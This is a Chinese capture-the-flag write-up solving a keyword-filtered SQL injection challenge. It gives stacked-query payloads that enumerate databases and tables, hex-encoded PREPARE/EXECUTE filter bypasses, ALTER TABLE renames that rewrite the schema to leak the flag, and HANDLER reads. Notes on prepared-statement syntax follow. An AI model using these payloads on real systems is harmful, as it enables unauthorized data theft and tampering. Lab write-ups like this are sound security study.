探针

  1. 1' or 1 = 1,测试一下是否存在sql注入
  2. 提交后提示error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line1,说明后端参数后面有可能存在其他sql语句,我们在1' or 1 = 1后面加一个#,将可能存在的其他sql语句注释掉,即:1' or 1 = 1#,成功输出了该表的所有数据,但是没有flag
  3. 既然存在sql注入,那么我们手动探测一下其他的表,首先判断一下字段个数:' union select 1,2;#,系统提示return preg_match("/select|update|delete|drop|insert|where|./i",$inject);,preg_match函数用于执行正则表达式,也就是说,系统通过该代码将select等关键字都过滤了。
  4. 既然select关键字无法使用,我们可以通过堆叠注入的方式,来绕过select关键字。(即同时执行多条SQL语句)
  5. 查看数据库名:1';show databases;#
  6. 查看数据表:1';show tables;# 靶场
  7. 我们先来看一下第一个表1919810931114514的表结构,有两种方式:
    • 1'; show columns from tableName;#
    • `1';desc tableName;#(注意:数据库为纯数字时要用 ` 包裹)
    • 1';desc `1919810931114514`;#

Payload

  1. 预编译

    • 直接编译:1';PREPARE hacker from concat('s','elect', ' * from 1919810931114514 ');EXECUTE hacker;#

    • 16进制编译,我们可以直接将select * from 1919810931114514``语句进行16进制编码payload:

      1
      1';PREPARE hacker from 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;EXECUTE hacker;#
    • 也可以先定义一个变量并将sql语句初始化

      1
      1';Set @jia = 0x73656c656374202a2066726f6d20603139313938313039333131313435313460;PREPARE hacker from @jia;EXECUTE hacker;#
  2. 最后一步(第8步)也可以通过修改表名和列名来实现。我们输入1后,默认会显示id为1的数据,可以猜测默认显示的是words表的数据,查看words表结构第一个字段名为id我们把words表随便改成words1,然后把1919810931114514表改成words,再把列名flag改成id,就可以达到直接输出flag字段的值的效果:1'; alter table words rename to words1;alter table 1919810931114514rename to words;alter table words change flag id varchar(50);#,然后通过1' or 1 = 1 #,成功获取到flag。

  3. 1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ FIRST;HANDLER `1919810931114514` CLOSE;

知识记录

1.预编译

预编译相当于定一个语句相同,参数不通的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤

格式:

1
2
3
PREPARE 名称 FROM 	Sql语句 ? ;
SET @x=xx;
EXECUTE 名称 USING @x;

举例:查询ID为1的用户:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
方法一:
SElECT * FROM t_user WHERE USER_ID = 1

方法二:
PREPARE jia FROM 'SElECT * FROM t_user WHERE USER_ID = 1';
EXECUTE jia;

方法三:
PREPARE jia FROM 'SELECT * FROM t_user WHERE USER_ID = ?';
SET @ID = 1;
EXECUTE jia USING @ID;

方法四:
SET @SQL='SElECT * FROM t_user WHERE USER_ID = 1';
PREPARE jia FROM @SQL;
EXECUTE jia;

2. 更改表名

  • 修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
  • 修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

3.handle

  • handle不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
1
2
3
4
5
6
7
8
打开表:
HANDLER 表名 OPEN ;

查看数据:
HANDLER 表名 READ next;

关闭表:
HANDLER 表名 READ CLOSE;